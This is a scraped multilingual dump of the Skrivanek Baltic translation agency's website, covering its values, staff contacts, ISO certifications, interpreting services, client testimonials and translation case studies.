качества в Латвии. Кодекс этики ЦЕННОСТИ Адаптивность – мы приветствуем адаптивность, мгновенно приспосабливаясь к постоянным изменениям ландшафта языковых технологий и требованиям клиента. Присущая нам гибкость позволяет удовлетворять растущие потребности наших клиентов. В своей команде мы поощряем эксперименты, воспитывая культуру инноваций и стремясь к постоянным улучшениям. Технологии – мы приветствуем новаторские и передовые технологии, способные повысить эффективность и качество наших языковых услуг. Готовность принять технологические новинки обусловлена нашей приверженностью инновациям и стремлением обеспечить удовлетворенность клиентов. Командная работа и сотрудничество на глобальном уровне – мы верим, что увлеченные своим делом профессионалы со всего мира вместе способны добиться выдающихся результатов. Мы стремимся создавать инклюзивную и разнообразную рабочую среду, в которой поощряется как коллективное, так и индивидуальное развитие. Ответственность и придание ценности – мы заботимся об успехе вашего предприятия и стремимся придать ему дополнительную ценность. Вы можете положиться на нас в плане своевременности, индивидуального подхода и последовательного применения решений из области языковых технологий. НАШИ ПРЕИМУЩЕСТВА надежное качествобогатый опытширокий спектр услугкомпетентные коллеги в 17 странах мираязыковое агентство «одной остановки»использование новейших отраслевых технологийвысокая емкость при разработке объемных проектовотзывчивость и ответственностьBiežāk uzdotie jautājumiЧасто задаваемые вопросы НАШИ ШТАТНЫЕ И ВНЕШТАТНЫЕ СОТРУДНИКИ НАША КОМАНДА В настоящий момент в Skrivanek Holding SE работают более 360 штатных сотрудников. Каждый из них владеет как минимум одним иностранным языком. На предприятии трудоустроены филологи, авторы творческих текстов, ИТ-специалисты, экономисты и аналитики. ПЕРЕВОДЧИКИ Все переводы выполняются специалистами на целевой язык, который является для них родным; переводчики проживают в стране, где данный язык активно используется. Многие переводчики являются членами профессиональных ассоциаций. Исполнитель конкретного задания выбирается только после получения информации о его тематике, что позволяет каждый раз подбирать наиболее подходящего переводчика. КОРРЕКТОРЫ И РЕДАКТОРЫ Каждый перевод проверяется корректором и отраслевым редактором, для которых целевой язык является родным. Данные специалисты обеспечивают благозвучность языка и терминологическую точность текста. Карьера Василий Рагачевич Директор vasilijs@skrivanek. lv Иварс Тресковскис Руководитель отдела переводов ivars@skrivanek. lv Айга Матвея Руководитель учебного центра macibas@skrivanek. lv Лелде Цалмане Руководитель отдела качества lelde@skrivanek. lv Янис Лунс Менеджер по маркетингу janis. luns@skrivanek. lv Улдис Круминьш Администратор ИТ uldis@skrivanek. lv Дана Лайзане Директор проектов по локализации и искусственному интеллекту dana@skrivanek. lv Елена Лапошка Руководитель административного отдела jelena. laposka@skrivanek. lv ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Внедренные системы управления – ISO 9001, ISO 14001, EN 17100, ISO/IEC 27001 – подтверждают, что мы несем ответственность за нашу работу и соблюдаем сроки! - Published: 2019-02-18 - Modified: 2024-10-31 - URL: https://skrivanek.lv/kvalitate-un-drosiba/ - Translation Priorities: Optional Чтобы повысить качество предлагаемых услуг, укрепить позиции Skrivanek на рынке языковых услуг, а также усовершенствовать мероприятия по обеспечению экологической и информационной безопасности, компания Skrivanek внедрила ряд систем управления. Мы гордимся тем, что стали первым поставщиком языковых услуг в Центральной и Восточной Европе, который полностью выполнил требования системы управления качеством EN ISO 9001, и уже в 2002 году получили сертификат, выданный TÜV Suddeutschland Holding. Однако мы не остановились на достигнутом, и благодаря систематической работе наших специалистов оказываемые нами услуги и уровень сервиса теперь отвечают требованиям нового стандарта EN 17100:2015. Данный стандарт определяет требования к управлению процессами, непосредственно применяемые к поставщикам переводческих услуг. Будучи дружественным к окружающей среде предприятием, мы внедрили систему управления окружающей средой, соответствующую требованиям стандарта EN ISO 14001:2015. Поскольку одна из ценностей Skrivanek – ответственность перед клиентом, которая также предусматривает безопасность доверенных нам данных, недавно мы внедрили систему управления информационной безопасностью и получили сертификат EN ISO/IEC 27001:2022. Компания Skrivanek с осени 2021 года имеет также сертификат ISO 18587. EN ISO 9001 Внедренная система управления качеством EN ISO 9001:2015 подтверждает, что на предприятии приняты и осуществляются необходимые процессы, обеспечивающие соответствие качества оказываемых услуг пожеланиям клиентов и требованиям нормативных актов. Посмотреть сертификат EN ISO 14001 Получение сертификата EN ISO 14001:2015 подтверждает, что наше предприятие заботится об окружающей среде, в том числе использует в своей деятельности экологические технологии и материалы, сортирует отходы и печатает только действительно необходимые документы. Посмотреть сертификат EN 17100 Работа согласно европейскому стандарту переводческих услуг EN 17100:2015 означает, что отбор специалистов-языковедов, деловое общение, управление проектами, рабочий процесс, использование технологий и другие отраслевые аспекты деятельности нашего предприятия отвечают определенным требованиям. Посмотреть сертификат ISO/IEC 27001 Внедрение системы управления информационной безопасностью EN ISO/IEC 27001:2022 подтверждает, что на нашем предприятии осуществляются меры по защите информации и обеспечен необходимый контроль, что гарантирует безопасность и конфиденциальность данных, доверенных нам деловыми партнерами. Посмотреть сертификат ISO 18587 Стандарт является относительно новым и устанавливает международные требования к постредактированию (последующей обработке текстов, переведенных машинным способом, переводчиком-человеком). Стандарт предназначен для измеримого и постоянного повышения качества процесса постредактирования. Данная сертификация в первую очередь касается процедуры и рабочего процесса постредактирования, при этом руководители проектов играют центральную роль наряду с постредакторами. Посмотреть сертификат Часто задаваемые вопросы Мы выполняем устный и письменный перевод и предлагаем широкий спектр языковых решений. Наши устные переводчики работают на конференциях и деловых встречах, а также оказывают поддержку в ходе судебных процессов. Письменные переводы включают специализированные и общие переводы в различных областях. Кроме того, мы выполняем локализацию и адаптацию, занимаемся копирайтингом, компьютерной версткой и преподаванием языков. Skrivanek Baltic имеет сертификаты ISO 9001, EN 17100, ISO 27001, EN ISO 14001, EN ISO 18585. Мы тщательно соблюдаем конфиденциальность и оговоренные сроки, а также берем на себя ответственность за выполненную работу. Стандарт EN 17100 устанавливает требования к управлению процессами в сфере переводческих услуг. Для спокойствия наших клиентов мы заключили договор профессиональной гражданско-правовой ответственности с международной страховой компанией Colonnade Insurance S. A. Кроме того, у нас можно заказать нотариально заверенные переводы и переводы, заверенные бюро. Нет, все заказы принимаются и управляются руководителем проектов, который выполняет роль посредника между заказчиком и переводчиком. Устные и письменные переводчики Skrivanek Baltic владеют более чем 110 языками! ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ ЯЗЫКОВ В РАЗЛИЧНЫХ КОМБИНАЦИЯХ 0+ млн СЛОВ ПЕРЕВЕДЕНО В 2023 ГОДУ 0+ СПЕЦИАЛИСТОВ ПО РАЗЛИЧНЫМ ЯЗЫКАМ 0 СЕРТИФИКАТА ISO --- > Сертификат подтверждает, что качество услуг, предоставляемых языковым предприятием Skrivanek, соответствует желаниям клиентов и требованиям нормативных актов. - Published: 2019-02-18 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 9001:2015 – СИСТЕМА УПРАВЛЕНИЯ КАЧЕСТВОМ --- > Сертификат подтверждает заботу нашего предприятия об окружающей среде, в том числе использование безопасных технологий и материалов, сортировку отходов и т. п. - Published: 2019-02-18 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 14001:2015 – СИСТЕМА УПРАВЛЕНИЯ ОКРУЖАЮЩЕЙ СРЕДОЙ --- > Сертификат подтверждает, что отбор специалистов, рабочий процесс, использование технологий и другие отраслевые аспекты нашего предприятия отвечают требованиям. - Published: 2019-02-18 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN 17100:2015 – СИСТЕМА УПРАВЛЕНИЯ ПРОЦЕССАМИ ПЕРЕВОДА --- > Для Skrivanek очень важна ответственность перед клиентами, в том числе безопасность данных, поэтому мы внедрили систему управления информационной безопасностью. - Published: 2019-02-18 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional ISO/IEC 27001:2022 – СИСТЕМА УПРАВЛЕНИЯ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТЬЮ --- > Consecutive interpreting services in 40+ languages for all work and life situations. Local and foreign interpreters. Contact us! - Published: 2019-02-18 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/ - Translation Priorities: Optional WHAT IS CONSECUTIVE INTERPRETING AND WHAT SHOULD YOU KNOW ABOUT THIS SERVICE? Consecutive interpreting means that the interpreter first listens to the speaker and then interprets what they have said into another language. The interpreter sits together with the participants, listens to what they are saying and then, based mainly on the notes made, interprets it into another language. There are two types of consecutive interpreting: short and long. Short consecutive interpreting means that interpreting is done after two to three sentences, which is often the practice in business negotiations, short-term visits, museums, etc. Whereas long consecutive interpreting, which is increasingly popular, is the interpretation of segments that are anywhere between 5–20 minutes long. In the modern world, consecutive interpreting is often replaced by simultaneous interpreting, yet it is still used in various meetings (such as technical briefings, business dinners, small groups, field trips). Good, professional interpreters are even capable of interpreting long conversations in great detail. WHAT MAKES A GOOD CONSECUTIVE INTERPRETATION: accurate “transposition” of the message/idea into the target language faithfulness to both content and tonality quick and fluent narration in a calm, collected and steady manner unambiguous and elegant use of language good contact with the speaker and the audience HOW MANY INTERPRETERS DOES IT TAKE? THE NUMBER OF LANGUAGES USED THE MINIMUM NUMBER OF INTERPRETERS* From two languages into two languages 2 From three languages into three languages 3 * In exceptional cases that still respect the principles of quality and occupational health, two interpreters can be replaced with one and three interpreters can be replaced with two. OUR MOST POPULAR LANGUAGE COMBINATIONS FOR CONSECUTIVE INTERPRETING: Latvian–English–Latvian; Estonian–English–Estonian; Lithuanian–English–Lithuanian; Russian–English–Russian; Swedish–Latvian–Swedish, Spanish–Latvian–Spanish, Italian–Latvian–Italian, Russian– Latvian–Russian and others. LOOKING FOR INTERPRETING SERVICES OR CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationHow did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates --- > Simultaneous interpreting at conferences, meetings and other events in 40+ languages. Simultaneous interpreting equipment for rent. - Published: 2019-02-18 - Modified: 2025-07-03 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/ - Translation Priorities: Optional SIMULTANEOUS INTERPRETING MEANS THAT THE SPOKEN TEXT IS INTERPRETED FROM INSIDE AN INTERPRETER’S BOOTH WITH A COUPLE OF SECONDS’ DELAY. Simultaneous interpreting is a relatively new type of interpreting, which dates back to the Nuremberg trials after World War II, although it was practised earlier than that. The Nuremberg trials were interpreted into four languages, and since then the process has remained largely the same (booths, microphones, headphones, three interpreters). In a way, simultaneous interpreting is unnatural: it requires tremendous concentration from the interpreter, because people do not usually listen and speak at the same time. Therefore, this job takes training and getting used to. Interpreters mostly work together with at least one or two colleagues in soundproof booths. The speaker in the meeting room speaks into the microphone, which is heard over headphones by the interpreter, who almost immediately provides interpretation in their own microphone. Event participants in the meeting room connect to the respective channel to hear an interpretation into their chosen language. There are several possible language or language mode configurations. At multi-language conferences, the interpreters inside the booths interpret into their native language or language pair only. As this type of interpreting requires great concentration, interpreters are substituted every 10–30 minutes. WHAT MAKES A GOOD SIMULTANEOUS INTERPRETATION: accurate “transposition” of the message into the target language faithfulness to both content and tonality calm, collected and steady manner of speech no literal replications of words contact with the speaker and the audience spontaneity Simultaneous interpreting is based on listening, comprehension, analysis and rephrasing.  OUR MOST POPULAR LANGUAGE COMBINATIONS FOR SIMULTANEOUS INTERPRETING: Latvian–English–Latvian; Estonian–English–Estonian; Lithuanian–English–Lithuanian; Russian–English–Russian; Swedish–Latvian–Swedish, Spanish–Latvian–Spanish, Italian–Latvian–Italian, Russian–Latvian–Russian and others. LOOKING FOR INTERPRETING SERVICES OR CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates --- > Professional interpreting is the key to productivity at your conference! Conference interpreting and organisation. Contact us! - Published: 2019-02-18 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/ - Translation Priorities: Optional Conference interpreting is all about oral communication: relaying the spoken text from one language into another naturally and fluently, adapting the message and conveying the speaker’s intonation and attitude to other people. International conferences are attended by people with different cultural and linguistic backgrounds and varying levels of language proficiency. The interpreter’s job is to facilitate communication by interpreting key ideas rather than separate words. OUR MOST POPULAR AREAS OF CONFERENCE INTERPRETING: taxes and underground economy; EU policies and cross-border cooperation; construction; finance and banking; information technologies; law; agriculture; medicine; pharmaceuticals; clinical trials; real estate; telecommunications; etc. WHAT WE OFFER: professional simultaneous interpreters with appropriate language skills, working in 30-minute shifts equipment, such as interpreter booths, headphones, transmitters, and technical support help and consultations at all stages of your event: interpreting, desktop publishing (DTP) and printing of conference materials and invitations, installation of conference equipment, hotel booking and guest accommodation, catering and banquets, excursions in the city, etc. professional consultations on the organisation of conferences, symposiums, congresses and training OUR MOST POPULAR LANGUAGE PAIRS FOR CONFERENCE INTERPRETING: Latvian–English; German–Latvian; Latvian–German; Lithuanian–Latvian; English–Latvian; Estonian–English; English–Estonian; Lithuanian–English; English–Lithuanian; Russian–English; English–Russian and others. LOOKING FOR INTERPRETING SERVICES OR CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates --- > We ensure interpreting at court hearings. Our interpreters are experienced and well versed in legal terminology. Contact us! - Published: 2019-02-18 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/ - Translation Priorities: Optional When you need an interpreter’s support during court proceedings, it is essential for the interpreter to not only be able to interpret what people are saying, but also be familiar with legal matters, terminology and processes. The Skrivanek Baltic team includes interpreters who specialise in interpreting court proceedings. It is crucial that court interpreting be carried out by professionals, as people without appropriate education and experience will be lost in the process and terminology. Marriage separation, recovery of damages, employment relationship disputes, outstanding commitments and real estate affairs: these are just some of the court proceedings, each with their own specific terminology, that our interpreters regularly take part in. Legal language relies on precision, so interpreting at court has to be accurate to a T. OUR MOST POPULAR LANGUAGE COMBINATIONS FOR COURT INTERPRETING: Latvian–English–Latvian; Estonian–Latvian–Estonian; Lithuanian–Latvian–Lithuanian; Russian–English–Russian; Swedish–Latvian–Swedish; Spanish–Latvian–Spanish; Russian–Latvian–Russian and others. LOOKING FOR TRANSLATION SERVICES OR CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Pirmais projekts, ko veicām Biomet uzdevumā, bija ļoti steidzams 40 000 vārdu tulkojums no angļu valodas astoņās svešvalodās. Uzzini vairāk! - Published: 2019-02-15 - Modified: 2024-01-23 - URL: https://skrivanek.lv/gadijumu-izpete/biomet/ - Translation Priorities: Optional Klients: Biomet Projekts: medicīnisku instrukciju tulkojums Avotvaloda: angļu Mērķvalodas: čehu, slovāku, poļu, slovēņu, ungāru, lietuviešu, latviešu, igauņu Apjoms: aptuveni 40 000 vārdu Biomet jau vairāk nekā 30 gadu ir viens no vadošajiem uzņēmumiem ortopēdijas jomā pasaulē un tam ir pārstāvniecības vairāk nekā 100 valstīs ar 9000 darbiniekiem. Īpaši inovatīvus risinājumus uzņēmums piedāvā traumatoloģijas jomā. Jau kopš 2005. gada Skrivanek ar savu profesionālo medicīnas tekstu tulkotāju komandu īsteno sarežģītu tekstu tulkojumus Biomet vajadzībām. Pirmais projekts, ko veicām Biomet uzdevumā, bija ļoti steidzams 40 000 vārdu tulkojums no angļu valodas astoņās svešvalodās. Neskatoties uz īso tulkošanas projekta izpildes termiņu, tulkojums tika paveikts laikus un nevainojamā kvalitātē, klients atzinīgi novērtēja Skrivanek komandas darbu. Ņemot vērā Skrivanek ilggadējo profesionālo pieredzi valodu pakalpojumu nodrošināšanā Centrāleiropas un Austrumeiropas tirgū, Biomet arī turpmāk nolēma uzticēt produktu tulkošanas un lokalizācijas pakalpojumus Skrivanek valodu speciālistu komandai, tādējādi uzņēmums varēja apgūt jaunus un ienesīgus tirgus. Šobrīd Skrivanek ir ap 40 filiāļu visā pasaulē, kuras nodrošina plašu tulkošanas, lokalizācijas un tekstu grafiskās apstrādes (DTP) pakalpojumu klāstu. Regulāra profesionālās kvalifikācijas paaugstināšana un darba procesu izvērtēšana nodrošina augstus kvalitātes standartus saskaņā ar ISO 9001 un EN 17100 vadības sistēmām. Skrivanek uzņēmuma filozofija noteic, ka pakalpojumu kvalitāte nav nemainīgs lielums, bet gan procesu kopums, kas vienmēr ir uzlabojams. TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Tekstu tulkojumi informācijas tehnoloģiju, lauksaimniecības un jurisprudences jomā - tulkošanas projekta piemērs. Uzziniet vairāk! - Published: 2019-02-15 - Modified: 2025-01-27 - URL: https://skrivanek.lv/gadijumu-izpete/eiropas-komisija/ - Translation Priorities: Optional Klients: Eiropas Komisija Projekts: tekstu tulkojumi informācijas tehnoloģiju, lauksaimniecības un jurisprudences jomā Avotvaloda: visas ES oficiālās valodas Mērķvalodas: čehu, slovāku, poļu, slovēņu, ungāru, lietuviešu, latviešu, igauņu, rumāņu, bulgāru Apjoms: aptuveni 100 000 lappušu Jau vairāk nekā desmit gadu Skrivanek nodrošina tulkojumus Eiropas Komisijas vajadzībām. Ņemot vērā ilggadējo profesionālo pieredzi valodu pakalpojumu nodrošināšanā Centrāleiropas un Austrumeiropas tirgū, Skrivanek jo īpaši specializējas tulkojumos uz un no slāvu un baltu valodām. Tiek tulkoti dažādas sarežģītības un steidzamības teksti jurisprudences, lauksaimniecības un informācijas tehnoloģiju jomā. Terminoloģijas precizitāte un konsekvence tulkojumos tik lielā institūcijā ir augstākā prioritāte, jo gandrīz nepārtraukti tiek sagatavoti jauni vai atjaunināti un grozīti jau esošie dokumenti, kas milzīgā laika trūkuma dēļ tiek vien steigšus pārskatīti. Eiropas likumdošanas institūcijas rada savu juridisko leksiku, ko Skrivanek profesionālo tulkotāju komanda palīdz izkopt, izmantojot gan datorizētās tulkošanas atmiņu (CAT) rīkus, gan plašās ES terminu datu bāzes, tādējādi kļūstot par uzticamu ES institūciju partneri. Šobrīd Skrivanek ir ap 40 filiāļu visā pasaulē, kas nodrošina plašu tulkošanas, lokalizācijas un tekstu grafiskās apstrādes (DTP) pakalpojumu klāstu. Regulāra profesionālās kvalifikācijas paaugstināšana un darba procesu izvērtēšana nodrošina augstus kvalitātes standartus saskaņā ar ISO 9001 un EN 17100 vadības sistēmām. Skrivanek uzņēmuma filozofija noteic, ka pakalpojumu kvalitāte nav nemainīgs lielums, bet gan procesu kopums, kas vienmēr ir uzlabojams. TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Tulkošanas projekta piemērs. Nodrošinām kvalitatīvus dažādu nozaru tekstu tulkojumus vairāk nekā 110 valodās. Saņemiet bezmaksas cenas aprēķinu! - Published: 2019-02-15 - Modified: 2024-01-23 - URL: https://skrivanek.lv/gadijumu-izpete/ge-healthcare/ - Translation Priorities: Optional Klients: GE Healthcare Projekts: medicīnisko ierīču instrukciju tulkojums un dokumentu grafiskā apstrāde Avotvaloda: angļu Mērķvalodas: čehu, bulgāru, horvātu, igauņu, ungāru, lietuviešu, latviešu, poļu, rumāņu, krievu, serbu, slovāku, slovēņu, turku Apjoms: aptuveni astoņi miljoni vārdu GE Healthcare ne tikai ražo jaunākās paaudzes medicīniskās ierīces, bet arī attīsta diagnostikas un biofarmācijas produktu ražošanas tehnoloģijas un veic klīniskos pētījumus. Uzņēmums nodarbina gandrīz 50 000 cilvēku visā pasaulē un palīdz pacientiem vairāk nekā 100 valstīs. GE Healthcare vajadzībām Skrivanek veica datortomogrāfijas tehniskās instrukcijas tulkojumu no angļu valodas 14 valodās. Uzticētā projekta apjoms bija astoņi miljoni vārdu, tostarp bija jāveic tekstu grafiskā apstrāde un tulkotās instrukcijas jāsagatavo drukai. Skrivanek piesaistītā tulkotāju, redaktoru, korektoru, grafisko dizaineru un projektu vadītāju komanda spēja noteiktajā laikā īstenot projektu un darbs tika paveikts atbilstoši augstajām klienta prasībām. Šādus komplicētus projektus, ņemot vērā valodas sarežģītības līmeni un apjomu, var īstenot tikai ar nevainojamu projektu vadības atbalstu un efektīvu darbplūsmu. Piesaistot uzņēmuma grafisko dizaineru komandu, tika nodrošināta vienmērīga darbplūsma un tādējādi optimāli aprēķināti un ievēroti termiņi. Šobrīd Skrivanek ir ap 40 filiāļu visā pasaulē, kuras nodrošina plašu tulkošanas, lokalizācijas un tekstu grafiskās apstrādes (DTP) pakalpojumu klāstu. Regulāra profesionālās kvalifikācijas paaugstināšana un darba procesu izvērtēšana nodrošina augstus kvalitātes standartus saskaņā ar ISO 9001 un EN 17100 vadības sistēmām. Skrivanek uzņēmuma filozofija noteic, ka pakalpojumu kvalitāte nav nemainīgs lielums, bet gan procesu kopums, kas vienmēr ir uzlabojams. TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Tehniskās dokumentācijas un tirgvedības tekstu tulkojums. Nodrošinām kvalitatīvus tulkojumus vairāk nekā 110 valodās. Saņemiet bezmaksas cenu aprēķinu! - Published: 2019-02-15 - Modified: 2024-01-23 - URL: https://skrivanek.lv/gadijumu-izpete/geutebruck/ - Translation Priorities: Optional Klients: Geutebrück Projekts: tehniskās dokumentācijas un tirgvedības tekstu tulkojums Avotvaloda: vācu Mērķvalodas: angļu, franču, itāļu, spāņu, krievu, turku, holandiešu, arābu, lietuviešu Apjoms: aptuveni trīs miljoni vārdu Geutebrück ir plaši pazīstams videonovērošanas sistēmu ražotājs un pašlaik ierindojas 29. vietā starp 50 veiksmīgākajiem pakalpojumu sniedzējiem pasaulē. Geutebrück ar videonovērošanas sistēmām apgādā gan enerģētikas nozares uzņēmumus, gan banku sektoru un pat tiesībsargājošās iestādes. Vienlīdz plašs ir arī Geutebrück valodu lietojums un specializācijas. Programmnodrošinājums un tehniskais aprīkojums tiek izstrādāts un ražots Vācijā, ko 200 darbinieku visā pasaulē pārdod vairāk nekā 40 valstīs. Ņemot vērā šo izteikti starptautisko darbības vidi, Geutebrück ir nepieciešami pieredzējuši un augsti kvalificēti valodu speciālisti, kā arī nevainojams projektu vadības komandas atbalsts. Skrivanek nodrošināja abas minētās prasības, un tādējādi Geutebrück jau kopš 2006. gada ir viens no nozīmīgākajiem Skrivanek klientiem. Lai optimizētu tulkošanas projektu izpildes laiku, un galvenais, lai ievērotu paša klienta izstrādāto terminoloģiju un nodrošinātu valodas lietojuma konsekvenci, jau pašā sadarbības sākumā tika izmantotas datorizētās tulkošanas atmiņas (CAT), kas tiek regulāri pārskatītas un pilnveidotas. Pateicoties dinamiskajam projektu vadības komandas darbam un tehnoloģiskajiem risinājumiem, pat vissarežģītākie projekti vienmēr ir īstenoti laikā un augstā kvalitātē. TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. 